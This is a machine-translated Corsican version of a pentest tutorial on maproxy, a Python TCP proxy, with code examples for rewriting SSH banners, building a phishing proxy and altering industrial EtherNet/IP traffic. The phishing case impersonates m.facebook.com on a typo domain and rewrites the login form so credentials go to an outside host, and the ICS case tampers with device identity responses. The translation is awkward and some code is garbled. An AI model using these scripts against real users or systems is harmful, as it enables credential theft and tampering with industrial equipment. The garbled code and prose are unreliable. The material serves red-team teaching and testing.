Prucessa i dati di a rete nantu à a mosca

A traduzzione di l'articulu hè stata preparata à a vigilia di l'iniziu di u corsu "Pentest. Pratica di prova di penetrazione ".

Prucessa i dati di a rete nantu à a mosca

Annotazione

Una varietà di tippi di valutazioni di sicurezza, chì varieghja da teste di penetrazione regulare è operazioni di Red Team à pirate di i dispositi IoT / ICS è SCADA, implicanu u travagliu cù protokolli di rete binari, vale à dì, essenzialmente intercepting è mudificà e dati di rete trà u cliente è u target. Sniffing u trafficu di a rete ùn hè micca un compitu difficiule postu chì avemu arnesi cum'è Wireshark, Tcpdump o Scapy, ma a mudificazione pare esse un compitu più intensivu di travagliu postu chì avemu bisognu di avè qualchì tipu d'interfaccia per leghje i dati di a rete, filtrà, cambià. nantu à a mosca è rinvià à l'ospite di destinazione in quasi tempu reale. Inoltre, seria ideale se un tali strumentu puderia travaglià automaticamente cù parechje cunnessione parallele è esse customizable cù scripts.

Un ghjornu aghju scupertu un strumentu chjamatu maproxy, a ducumentazione m'hà subitu subitu chjaramente chì maproxy - ghjustu ciò chì aghju bisognu. Questu hè un proxy TCP abbastanza simplice, versatile è facilmente configurabile. Aghju pruvatu stu strumentu nantu à parechje applicazioni abbastanza cumplessu, cumprese i dispositi ICS (chì generanu assai pacchetti) per vede s'ellu puderia trattà parechje cunnessione parallele, è l'uttellu hà fattu bè.

Stu articulu vi intruduce à trasfurmà dati reta nantu à a mosca cù maproxy.

riassuntu

Tool maproxy hè basatu annantu à Tornado, un framework di rete asincrona populari è maturu in Python.

In generale, pò esse operatu in parechji modi:

  • TCP:TCP - cunnessioni TCP non criptate;
  • TCP:SSL и SSL:TCP - cù criptografia unidirezionale;
  • SSL:SSL - criptografia bidirezionale.

Veni cum'è una biblioteca. Per un iniziu rapidu, pudete aduprà schedarii d'esempiu chì riflettenu u principale funzioni di biblioteca:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Casu 1 - proxy bidirezionale simplice

Bastu nantu à tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

automaticamente ProxyServer() piglia dui argumenti - u locu di cunnessione è u portu di destinazione. server.listen() piglia un argumentu - u portu per sente a cunnessione entrante.

Esecuzione di u script:

# python tcp2tcp.py

Per eseguisce a prova, andemu à cunnette à un servitore SSH locale attraversu u nostru script proxy, chì ascolta 2222/tcp portu è cunnette à un portu standard 22/tcp Servitori SSH:

Prucessa i dati di a rete nantu à a mosca

U banner di benvenutu vi informa chì u nostru script d'esempiu hà proxy u trafficu di a rete cù successu.

Casu 2 - mudificazione di dati

Un altru script demo logging_proxy.py ideale per interagisce cù dati di rete. I cumenti in u schedariu descrizanu i metudi di classi chì pudete mudificà per ottene u vostru scopu:

Prucessa i dati di a rete nantu à a mosca

A cosa più interessante hè quì:

  • on_c2p_done_read - per intercepte e dati in a strada da u cliente à u servitore;
  • on_p2s_done_read - invertitu.

Pruvemu di cambià u banner SSH chì u servitore torna à u cliente:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Eseguite u script:

Prucessa i dati di a rete nantu à a mosca

Comu pudete vede, u cliente hè statu ingannatu perchè u nome di u servitore SSH per ellu hè statu cambiatu «DumnySSH».

Prucessa i dati di a rete nantu à a mosca

Casu 3 - pagina web simplice di phishing

Ci sò infinite manere di utilizà stu strumentu. Sta volta ci concentremu nantu à qualcosa di più praticu da u latu di l'operazioni di a Squadra Rossa. Imitemu a pagina di destinazione m.facebook.com è utilizate un duminiu persunalizatu cù un typo deliberatu, per esempiu, m.facebok.com. Per scopi di dimostrazione, supponemu chì u duminiu hè registratu da noi.

Avemu da stabilisce una cunnessione di rete micca criptata cù i nostri vittimi proxy è SSL Stream à u servitore Facebook (31.13.81.36). Per fà stu esempiu di travagliu, avemu bisognu di rimpiazzà l'intestazione di l'ospiti HTTP è inject u nome d'ospitu currettu, è ancu disattivà a cumpressione di risposta per pudè accede facilmente à u cuntenutu. In ultimamente, rimpiazzeremu a forma HTML per chì e credenziali di login sò mandate à noi invece di i servitori di Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/co/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

In resume:

Prucessa i dati di a rete nantu à a mosca

Comu pudete vede, avemu pussutu rimpiazzà u situ originale.

Casu 4 - Porting Ethernet / IP

Aghju trattatu cù i dispositi industriali è u software (ICS / SCADA) per un bellu pezzu, cum'è cuntrolli programabili (PLC), moduli I / O, unità, relè, ambienti di prugrammazione scala è assai più. Stu casu hè per quelli chì piacenu e cose industriali. Hacking tali suluzioni implica ghjucà attivamente cù protokolli di rete. In l'esempiu seguente, mi piacerebbe dimustrà cumu pudete mudificà u trafficu di a rete ICS / SCADA.

Per questu avete bisognu di i seguenti:

  • Network sniffer, per esempiu, Wireshark;
  • Ethernet / IP o solu un dispositivu SIP, pudete truvà cù u serviziu Shodan;
  • U nostru script hè basatu annantu à maproxy.

Prima, fighjemu ciò chì una risposta d'identificazione tipica da CIP (Protokollu Industriale Cumunu) s'assumiglia:

Prucessa i dati di a rete nantu à a mosca

L'identificazione di u dispositivu hè realizatu utilizendu u protocolu Ethernet / IP, chì hè una versione rinfurzata di u protocolu Ethernet industriale chì avvolge protokolli di cuntrollu cum'è CIP. Avemu da cambià u nome ID evidenziatu chì hè visibile in a screenshot "NI-IndComm per Ethernet" utilizendu u nostru script proxy. Pudemu riutilizà u script logging_proxy.py è ancu mudificà u metudu di classi on_p2s_done_read, perchè vulemu chì un nome d'identità diversu sia visibile nantu à u cliente.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Essenzialmente, avemu dumandatu l'identificazione di u dispositivu duie volte, a seconda risposta era l'uriginale, è u primu hè statu mudificatu nantu à a mosca.

È infine

Secondu mè maproxy Un strumentu còmuda è sèmplice, chì hè ancu scrittu in Python, cusì crede chì ancu voi pudete prufittà di l'usu. Di sicuru, ci sò arnesi più cumplessi per trasfurmà è mudificà e dati di a rete, ma anu ancu bisognu di più attenzione è sò generalmente creati per un casu d'usu specificu, per esempiu. Muraena, Modlishka o evilginx per i casi simili à u terzu, o canape per l'ultimu casu. Un modu o un altru, cù l'aiutu maproxy pudete implementà rapidamente e vostre idee per intercepting data network, postu chì l'esempiu di scripts sò assai chjaru.

Testing meccanismi di autentificazione in Windows AD

Source: www.habr.com

Add a comment